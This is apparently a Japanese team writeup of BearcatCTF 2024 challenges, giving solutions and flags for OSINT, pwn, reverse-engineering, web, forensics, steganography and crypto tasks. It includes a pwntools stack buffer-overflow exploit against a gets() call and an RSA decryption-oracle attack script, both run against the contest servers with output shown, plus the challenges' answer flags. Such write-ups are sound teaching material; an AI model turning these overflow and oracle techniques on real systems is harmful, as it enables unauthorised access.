この大会は2024/2/4 4:00(JST)~2024/2/5 4:00(JST)に開催されました。
今回もチームで参戦。結果は6300点でした。順位や参加者数は不明です。
自分で解けた問題をWriteupとして書いておきます。
Parisian Adventure (OSINT 400)
写真の場所をGoogle mapでコードと合わせて答える問題。
$ exiftool is_it_paris.png ExifTool Version Number : 12.57 File Name : is_it_paris.png Directory : . File Size : 537 kB File Modification Date/Time : 2024:02:04 08:50:58+09:00 File Access Date/Time : 2024:02:04 08:59:42+09:00 File Inode Change Date/Time : 2024:02:04 08:50:58+09:00 File Permissions : -rwxrwx--- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 908 Image Height : 375 Bit Depth : 8 : : Background Color : 255 255 255 Pixels Per Unit X : 4724 Pixels Per Unit Y : 4724 Pixel Units : meters Modify Date : 2024:01:15 20:25:29 Software : N/A Image Size : 908x375 Megapixels : 0.341 GPS Latitude : 22 deg 8' 39.00" N GPS Longitude : 113 deg 33' 47.00" E GPS Position : 22 deg 8' 39.00" N, 113 deg 33' 47.00" E
Google mapで「22°8'39.00"N 113°33'47.00"E」を調べると、以下のコードと場所になっている。
4HV7+M67 Cotai, Macao
BCCTF{4HV7+M67 Cotai, Macao}
Password Buffer (pwn 700)
Ghidraでデコンパイルする。
bool main(void) { int iVar1; time_t tVar2; FILE *__stream; long in_FS_OFFSET; char local_78 [104]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Welcome to my password comparison tool!"); tVar2 = time((time_t *)0x0); srand((uint)tVar2); iVar1 = check_auth(); if (iVar1 != 0) { puts("Access denied"); } else { __stream = fopen("flag.txt","r"); fgets(local_78,100,__stream); printf("The flag is: %s",local_78); fclose(__stream); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return iVar1 != 0; } void check_auth(void) { int iVar1; long in_FS_OFFSET; int local_4c; char local_48 [32]; char local_28 [17]; undefined local_17; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); for (local_4c = 0; local_4c < 0x11; local_4c = local_4c + 1) { iVar1 = rand(); local_28[local_4c] = (char)iVar1 + (char)(iVar1 / 0x19) * -0x19 + 'a'; } local_17 = 0; printf("Please enter your password: "); fflush(stdout); gets(local_48); printf("The password was \"%s\"\n",local_28); strcmp(local_48,local_28); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
パスワード入力時にBOFでlocal_28を書き込み、同じ文字列になるようにする。
#!/usr/bin/env python3 from pwn import * p = remote('chal.bearcatctf.io', 32927) password = b'pass' payload = password + b'\x00' * (32 - 4) + password + b'\x00' data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvuntil(b'}').decode() print(data)
実行結果は以下の通り。
[+] Opening connection to chal.bearcatctf.io on port 32927: Done Welcome to my password comparison tool! Please enter your password: b'pass\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00pass\x00' The password was "pass" The flag is: BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4} [*] Closed connection to chal.bearcatctf.io port 32927
BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4}
Simple Mystery (rev 300)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; time_t tVar2; int local_c; tVar2 = time((time_t *)0x0); srand((uint)tVar2); setup(); for (local_c = 0; local_c < 0x12; local_c = local_c + 1) { iVar1 = what_mystery(0,0x25); putchar((int)(char)flag[iVar1 % 0x25]); } puts("\n\nThat is all we can really get you, good luck."); return 0; } void abcd(void) { memcpy(flag + 0x14,"4se_4_All_ThI2gS}",0x12); return; } flag[20] XREF[2,2]: Entry Point(*), main:004012a6(*), flag[37] abcd:004011f5(*), flag setup:00401206(W) 00404060 42 43 43 undefine 54 46 7b 53 6f 4c 00404060 42 undefined142h [0] XREF[2]: Entry Point(*), main:004012a6(*) 00404061 43 undefined143h [1] 00404062 43 undefined143h [2] 00404063 54 undefined154h [3] 00404064 46 undefined146h [4] 00404065 7b undefined17Bh [5] 00404066 53 undefined153h [6] 00404067 6f undefined16Fh [7] 00404068 4c undefined14Ch [8] 00404069 76 undefined176h [9] 0040406a 31 undefined131h [10] 0040406b 6e undefined16Eh [11] 0040406c 36 undefined136h [12] 0040406d 5f undefined15Fh [13] 0040406e 54 undefined154h [14] 0040406f 48 undefined148h [15] 00404070 33 undefined133h [16] 00404071 5f undefined15Fh [17] 00404072 43 undefined143h [18] 00404073 00 undefined100h [19] 00404074 00 undefined100h [20] XREF[1]: abcd:004011f5(*) 00404075 00 undefined100h [21] 00404076 00 undefined100h [22] 00404077 00 undefined100h [23] 00404078 00 undefined100h [24] 00404079 00 undefined100h [25] 0040407a 00 undefined100h [26] 0040407b 00 undefined100h [27] 0040407c 00 undefined100h [28] 0040407d 00 undefined100h [29] 0040407e 00 undefined100h [30] 0040407f 00 undefined100h [31] 00404080 00 undefined100h [32] 00404081 00 undefined100h [33] 00404082 00 undefined100h [34] 00404083 00 undefined100h [35] 00404084 00 undefined100h [36] 00404085 00 undefined100h [37] XREF[1]: setup:00401206(W)
flagのコードを文字にし、"4se_4_All_ThI2gS}"を結合する。
#!/usr/bin/env python3 codes = [0x42, 0x43, 0x43, 0x54, 0x46, 0x7b, 0x53, 0x6f, 0x4c, 0x76, 0x31, 0x6e, 0x36, 0x5f, 0x54, 0x48, 0x33, 0x5f, 0x43] flag = '' for code in codes: flag += chr(code) flag += '4se_4_All_ThI2gS}' print(flag)
BCCTF{SoLv1n6_TH3_C4se_4_All_ThI2gS}
toll_bridge (rev 700)
Ghidraでデコンパイルする。
void main(void) { int iVar1; FILE *__stream; long in_FS_OFFSET; byte local_308; byte local_307; byte local_306; undefined local_208 [504]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); __stream = fopen("flag.txt","r"); puts("you approach a bridge with a toll gate."); puts("toll booth guy: \'GIMME YOUR TOLL\'"); printf("Enter in your wallet:\n\n> "); fflush(stdout); memset(&local_308,0,0x100); __isoc99_scanf("%[^\n]",&local_308); iVar1 = check(&local_308); if (iVar1 == 0) { iVar1 = strcmp("go_away_toll_man",(char *)&local_308); if (iVar1 == 0) { puts("you told the toll booth guy to go away!"); puts("the toll booth guy shot and killed you with his laser eyes for being rude"); } else if ((byte)(local_306 | local_308 | local_307) == 0) { puts("The bridge collapses under the weight of your args"); puts("You fall to your death"); } else { puts("toll booth guy: \'AGH! NO MONEY NO CROSSING\'"); puts("The toll booth guy drop kicks you off the bridge and you die"); } } else { puts("toll bridge guy accepts your toll"); puts("you cross the bridge and find a stone with a flag in it"); __isoc99_fscanf(__stream,"%[^\n]",local_208); printf("the flag reads: %s\n",local_208); } fclose(__stream); /* WARNING: Subroutine does not return */ exit(0); } int check(char *param_1) { int iVar1; int iVar2; long in_FS_OFFSET; uint local_22c; char local_228 [256]; char local_128 [4]; undefined local_124; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); strncpy(local_228,param_1,3); for (local_22c = 0; local_22c < 3; local_22c = local_22c + 1) { local_128[local_22c] = param_1[local_22c + 3]; } local_124 = 0; iVar1 = bribe(local_228); iVar2 = toll(local_128); if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return iVar2 + iVar1; } bool bribe(char *param_1) { bool bVar1; if ((int)param_1[2] + (int)param_1[1] == 0) { bVar1 = false; } else if (((*param_1 == '\0') || (param_1[1] == '\0')) || (param_1[2] == '\0')) { bVar1 = false; } else { bVar1 = (int)param_1[2] + ((int)*param_1 - (int)param_1[1]) == 0x30; } return bVar1; }
bribe関数でtrueを返すようにすればフラグが表示される。1の位に0を指定し、10の位と100の位に同じ数値を指定すればよい。例えば110を指定する。
$ nc chal.bearcatctf.io 32610 you approach a bridge with a toll gate. toll booth guy: 'GIMME YOUR TOLL' Enter in your wallet: > 110 toll bridge guy accepts your toll you cross the bridge and find a stone with a flag in it the flag reads: BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}
BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}
No Humans (web 500)
http://chal.bearcatctf.io:48605/robots.txtにアクセスすると、UserAgentとアクセス先のパスが大量に書いてある。該当するUserAgentを指定し、各パスにアクセスすることをスクリプトで実行し、フラグが書かれているページを探し出す。
#!/usr/bin/env python3 import requests with open('robots.txt', 'r') as f: lines = f.read().splitlines() ua = '' for line in lines: if line.startswith('User-agent: '): ua = line.split(': ')[1] headers = {'User-Agent': ua} elif line != '': path = line.split(': ')[1] url = 'http://chal.bearcatctf.io:48605' + path print('[+] UserAgent:', ua, ' / Path:', path) r = requests.get(url, headers=headers) if 'BCCTF' in r.text: print('**** Found! ****') print('[+] UserAgent:', ua) print('[+] Path:', path) print('**** content ****') print(r.text) break
実行結果は以下の通り。
: : [+] UserAgent: HumanRebels / Path: /JUjhp7EfQCz.wasm [+] UserAgent: HumanRebels / Path: /dVKdyjza5e0bl.css [+] UserAgent: HumanRebels / Path: /WsUsrvTI4tLO.wasm [+] UserAgent: HumanRebels / Path: /Baohf2Z5O921i5s.html **** Found! **** [+] UserAgent: HumanRebels [+] Path: /Baohf2Z5O921i5s.html **** content **** <html> <head> <Title>Robot Lair</Title> <link rel="stylesheet" type=text/css href="/css/bootstrap.cyberatuc.css"> </head> <body> <header class="navbar navbar-expand-auto navbar-dark mb-3" style="background-color: black;"> <div class="container"> <a id="cyberatuc-logo" class="navbar-brand justify-content-start" href="https://www.cyberatuc.org"> <img alt="Cyber@UC Chapter Logo" height=60 src="/img/main_logo.svg"> </a> <div class="navbar-nav justify-content-center"> <h1 class="nav-brand text-white">No Humans</h1> </div> <ul id="main_nav" class="navbar-nav justify-content-end"> </ul> </div> </header> <div class="container"> <div class="row"> <p>Alright, now that the humans are gone. Make sure to record the flag: <b>BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}</b>. This will be important for later... wait how did you get here. We are compromised. <i>Connection Terminated</i></p> </div> </div> </body> </html>
BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}
Needle in a Haystack (forensics 300)
問題文では変な箇所が大文字になっている。つなげるとICMPになるので、icmpでフィルタリングしてみる。No.39236パケットにbase64文字列が含まれている。この文字列をデコードする。
$ echo QkNDVEZ7VGhpc0lzQU5lZWRsZX0= | base64 -d BCCTF{ThisIsANeedle}
BCCTF{ThisIsANeedle}
Best Painting (stego 700)
StegSolveで開き、Red plane 0を見ると、フラグが現れた。
BCCTF{WhY_iS_BiAnK_So_Exp3nSivE}
Many Encode (crypto 300)
hexデコードする。
$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p 42434354467b573469545f6830575f443065735f546831355f48347050456e3f7d
さらにhexデコードする。
$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p | xxd -r -p BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}
BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}
Difference of P (crypto 700)
NをFermat法で素因数分解して、通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) while True: w = x * x - n - y * y if w == 0: break elif w > 0: y += 1 else: x += 1 return x - y, x + y C = 1974980851853019257771773253811679794137241209581612326758022524735213521549252839752456399226743 N = 22124683985039812698470600343255891405990431861180855450772516395200335369863431601013187704080051 e = 65537 p, q = fermat(N) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(C, d, N) flag = long_to_bytes(m).decode() print(flag)
BCCTF{F3rMaT_yOu_BugG3r}
Terrific Hill (crypto 700)
4×4の行列を使ったHill暗号と推測し、平文と暗号文のペアからブルートフォースで復号鍵を求める。フラグの暗号の長さは16の倍数でないため、パディングして復号し、パディング部分の平文を削除する。
#!/usr/bin/env python3 from string import * CT = 'ZXIUUHJRJKWSWFBNFXIIBRTSMJCNCVHM' PT = 'WHYISTHEREPEOPLEONMYHILLNOONECAN' CS = [] for i in range(2): C = [] for j in range(4): raw = [] for k in range(4): raw += [ascii_uppercase.index(CT[i * 16 + j * 4 + k])] C += [raw] CS += [C] PS = [] for i in range(2): P = [] for j in range(4): raw = [] for k in range(4): raw += [ascii_uppercase.index(PT[i * 16 + j * 4 + k])] P += [raw] PS += [P] K = [[-1 for _ in range(4)] for _ in range(4)] for i in range(4): for a in range(26): for b in range(26): for c in range(26): for d in range(26): success = True for j in range(4): v0 = (a * CS[0][j][0] + b * CS[0][j][1] + c * CS[0][j][2] + d * CS[0][j][3]) % 26 v1 = (a * CS[1][j][0] + b * CS[1][j][1] + c * CS[1][j][2] + d * CS[1][j][3]) % 26 if v0 != PS[0][j][i] or v1 != PS[1][j][i]: success = False break if success: K[0][i] = a K[1][i] = b K[2][i] = c K[3][i] = d enc = 'ENCREOHCXTWYOAENURRZEXXTVGKLEPOPTVRE' pad_len = 16 - len(enc) % 16 enc += 'X' * pad_len flag = '' for i in range(0, len(enc), 16): ct = enc[i:i+16] ct = [ascii_uppercase.index(c) for c in ct] for j in range(16): v = 0 v += ct[j // 4 * 4 + 0] * K[0][j % 4] v += ct[j // 4 * 4 + 1] * K[1][j % 4] v += ct[j // 4 * 4 + 2] * K[2][j % 4] v += ct[j // 4 * 4 + 3] * K[3][j % 4] v %= 26 flag += ascii_uppercase[v] flag = flag[:-pad_len] print(flag)
BCCTFZZFUNAWITHHILLAWNDOTHERPEOPLEZZ
Olivia's Oracle (crypto 1000)
サーバの処理概要は以下の通り。
・key: key.pemをインポート ・flag: flagの数値化 ・c = pow(flag, key.e, key.n) ・seen_hashes = [cの文字列化したもののsha256] ・cを表示 ・以下繰り返し ・msg: 入力 ・msgが"ENCRYPT:"で始まる場合 ・handle_encrypt_message(msg) ・msg: msgの":"区切りの配列 ・smsg: msgのインデックス1の要素 ・res = encrypt_message(smsg) ・msg: smsgを数値としてパース ・ctx = pow(msg, key.e, key.n) ・ctxを表示 ・Trueを返却 ・resがFalseの場合、エラー ・msgが"DECRYPT:"で始まる場合 ・handle_decrypt_message(msg) ・msg: msgの":"区切りの配列 ・rmsg: msgのインデックス1の要素 ・res = decrypt_message(rmsg) ・msg: smsgを数値としてパース ・h: msgの文字列化したもののsha256 ・hがseen_hashesにあった場合、Falseを返却 ・p = pow(msg, key.d, key.n) ・pを表示 ・Trueを返却 ・resがFalseの場合、エラー ・msgが"KEY:"で始まる場合 ・handle_key_message() ・n, eを表示
フラグを暗号化したcがわかり、素数でなければ以下のように表せる。
c = c1 * c2
c1とc2の復号は以下のように表せる。
p1 = pow(c1, d, n) p2 = pow(c2, d, n)
あとはこの掛け算をすれば、フラグの数値を算出できる。
p1 * p2 % n= pow(c1, d, n) * pow(c2, d, n) % n = pow(c1 * c2, d, n) = pow(c, d, n) = p
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chal.bearcatctf.io', 36242)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) c = int(data.split(' ')[-1]) for c1 in range(2, 1024): if c % c1 == 0: break c2 = c // c1 msg = 'KEY:' print(msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) n = int(data.split(':')[1]) data = recvuntil(s, b'\n').rstrip() print(data) e = int(data.split(':')[1]) data = recvuntil(s, b'\n').rstrip() print(data) msg = 'DECRYPT:' + str(c1) print(msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) p1 = int(data) msg = 'DECRYPT:' + str(c2) print(msg) s.sendall(msg.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) p2 = int(data) p = (p1 * p2) % n flag = long_to_bytes(p).decode() print(flag)
実行結果は以下の通り。
Welcome to Olivia's Shared Message Encryption System Ciphertext of Flag: 9660781791858184769153132190461807553117357056155302412820310521546374651595189558577932859888800249912341764800720974150589465621000783138438122681788824460761738132259235364337876697410960164607237133389558445784148009308009376025011895457847259821484987441417726528815991837236665857768648954936910835832504589451357856856287637873871460770523072402655400242567887740302149122959010641004914059087271244327262186660343609314133746471855983862187501283378849139303838418588590064394584676229483058205594031241273563918770931551618491048702002263184524517503361833682405707800544276397433348507115797599565832957460 KEY: N:30041599491728993686066568162491695488103191710138752930533217847752754371415670990516324862673730836329856113920704653640849599365361751724702411351011112126641201052838903004275878621594765918484960778194958319203481284612861459662378554797163059773269965325018212470229522050686945260190748571136958740830398648811963424487670468372115863578856795549607007358342953973934227516140058845293812086740036358264857673377597319457979610815822935469488515774505626666211699106188807426772490649425816051622351079710613821487239384776920816183447491905113473364766904199465445771921866546714995863931251779472482199866947 E:65537 DECRYPT:2 517480846584794711665761328477278309137411904609222949734988377890294607686552144619035499058411654006113289504478651461958621583832850441058935586444443018035556422643462700422085400286638934653068673124455992026750853620250536452555991612212993026257275960921864772424106890771166521300441254180140431194622996390657957820981942311431077754983222460185724863068450742144850998625959332621379234380862615105071563933945756005357101984687307062324151206759915894705643604835811409854804579392567314276027184745132005231450814644075531037953684709360061947720881768130627434328264435335169097703922060980339009612172 DECRYPT:4830390895929092384576566095230903776558678528077651206410155260773187325797594779288966429944400124956170882400360487075294732810500391569219061340894412230380869066129617682168938348705480082303618566694779222892074004654004688012505947728923629910742493720708863264407995918618332928884324477468455417916252294725678928428143818936935730385261536201327700121283943870151074561479505320502457029543635622163631093330171804657066873235927991931093750641689424569651919209294295032197292338114741529102797015620636781959385465775809245524351001131592262258751680916841202853900272138198716674253557898799782916478730 11005056800178540755893431232780676792795142547413469848495725054779587098755723325324537035472568439170671718177173397776939478740364984817942431399240981099062124478551263189643324776265175927301505526191786494395411168756302700101160204480178310533447463308511665008407424844779776499272732804846199205831234074586089958732443124876895176442833382735882327514104467504745012179369806535529090854475693788588062239136871952542056959333348224571416795119095164921481466009422326871284089480284102219406600320676441434155310425294810005398431331196533166567842263503906219402826678768792766623222961953640454023482005 BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}
BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}